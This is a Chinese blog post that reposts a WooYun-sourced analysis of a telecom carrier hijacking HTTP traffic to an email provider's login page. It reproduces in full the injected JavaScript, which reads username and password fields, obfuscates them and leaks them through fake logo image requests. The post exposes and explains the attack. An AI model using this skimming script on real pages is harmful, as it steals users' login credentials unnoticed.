运营商的流氓程度无底线!

运营商的流氓程度无底线!你以为某些运营商只是插插广告吗?错了,直接截取密码了!

现在有证据显示电信运营商非但获取没有加密的HTTP登录的用户名和密码,还会通过HTTP劫持的手段获取通过RSA加密的用户名和密码。信息来源wooyun:链接1链接2

1369274742241

附原文:

国内某邮件服务商,近期在某南方地区有大量客户反应登录时出错和异常,于是工作人员进行了一下跟进,发现如下:
首先,邮件服务商登陆页面为普通HTTP协议发送,提交时通过JS进行RSA加密(没错,JS的RSA),发送到SSO登陆点,然后进行登录,有些人一看RSA,应该挺安全的了,不过……
在国内上网的大多数人对于运营商在HTTP包里插广告应该很熟悉了,原理很简单,大家可以参考腾讯安全中心的这篇文章http://security.tencent.com/index.php/blog/msg/10

在客户端抓包发现收到的HTTP数据包有异常,有几个包的TTL多了2,说明比正常从服务器到客户端的数据包少走了两跳,而且离服务器不是很远,估计在一个机房里,并且数据包的ID是很规律的12345,明显就是伪造的,包中插入了如下内容:

<script type=”text/javascript”>
document.getElementById(“freepassword”).onblur = function (e) {
logoFresh();
};

function onLoginCheck() {
var user = null;
var pass = null;
user = document.getElementById(“freename”).value;
pass = document.getElementById(“freepassword”).value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + ‘&’ + pass + ‘&xxxxx.com’);
}
};

function rskQuery(s) {
s = encodeURIComponent(s);
var r = Math.random();
var num = (Math.round(r * 100)) % 9 + 1;
var i = 0;
var out = ”;
do {
var ch = s.charCodeAt(i++);
ch = (i % 2 > 0) ? (ch – i % num) : (ch + i % num);
var l = (ch / 10 >= 10) ? 3 : (ch / 10 > 0 ? 2 : 1);
out += l.toString() + ch;
} while (i < s.length);
out = r.toString().substring(0, num) + out + num;
return out;
};

function logoFresh() {
var h = logoUrl();
var s = onLoginCheck();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + ‘images/logo_bg.jpg?’ + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + ‘images/logo_bg.jpg?’ + s1;
var result = xmlHttpConnect(ajaxUrl, “get”, null);
};

function logoUrl() {
return ‘/’;
};

function createXMLHttp() {
if (window.XMLHttpRequest) return new XMLHttpRequest();
else if (window.ActiveXObject) return new ActiveXObject(“Microsoft.XMLHTTP”);
else return null;
};

function xmlHttpConnect(url, method, content) {
var request = createXMLHttp();
if (request == null) return null;
try {
request.open(method, url, true);
request.send(content);
} catch (e) {
return null;
}
if ((request.readyState == 4) && (request.status == 200)) return null;
else return null
};

document.getElementById(“vippassword”).onblur = function (e) {
logo_Fresh();
}

function onLoginPhone() {
var user = null;
var pass = null;
user = document.getElementById(“vipname”).value;
pass = document.getElementById(“vippassword”).value;
if (user.length <= 0 || pass.length <= 0) {
return false;
} else {
return rskQuery(user + ‘&’ + pass + ‘&vip.xxxxx.com’);
}
}

function logo_Fresh() {
var h = logoUrl();
var s = onLoginPhone();
if (s == false) {
return false;
}
for (var i = 0; i < 2; i++) {
var bg_logo = new Image(0, 0);
bg_logo.src = h + ‘images/logo_bg.jpg?’ + s;
}
var s1 = onLoginCheck();
var ajaxUrl = h + ‘images/logo_bg.jpg?’ + s1;
var result = xmlHttpConnect(ajaxUrl, “get”, null);
}
</script>

在登录form里抓取用户名和密码,当成参数跟在logo后面再访问一下logo,再从中间抓包获取这段内容。这样的话邮件服务商的日志里肯定会出现很多logo的请求后面跟着明文用户名密码吧,错了,服务商那边根本没看到logo被请求两次,推断是带有这个特征的数据包被drop了,真尼玛用心啊。

至此,用户的邮箱密码已经泄露,用户和服务商也没有任何察觉,可能由于某些原因,比如延迟,丢包,bug之类的,导致部分用户被插的时候有异常,影响了原有的登录js,才导致这次事件浮出水面。
服务商由于成本问题,暂不考虑采用SSL登录。


2 thoughts on “运营商的流氓程度无底线!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据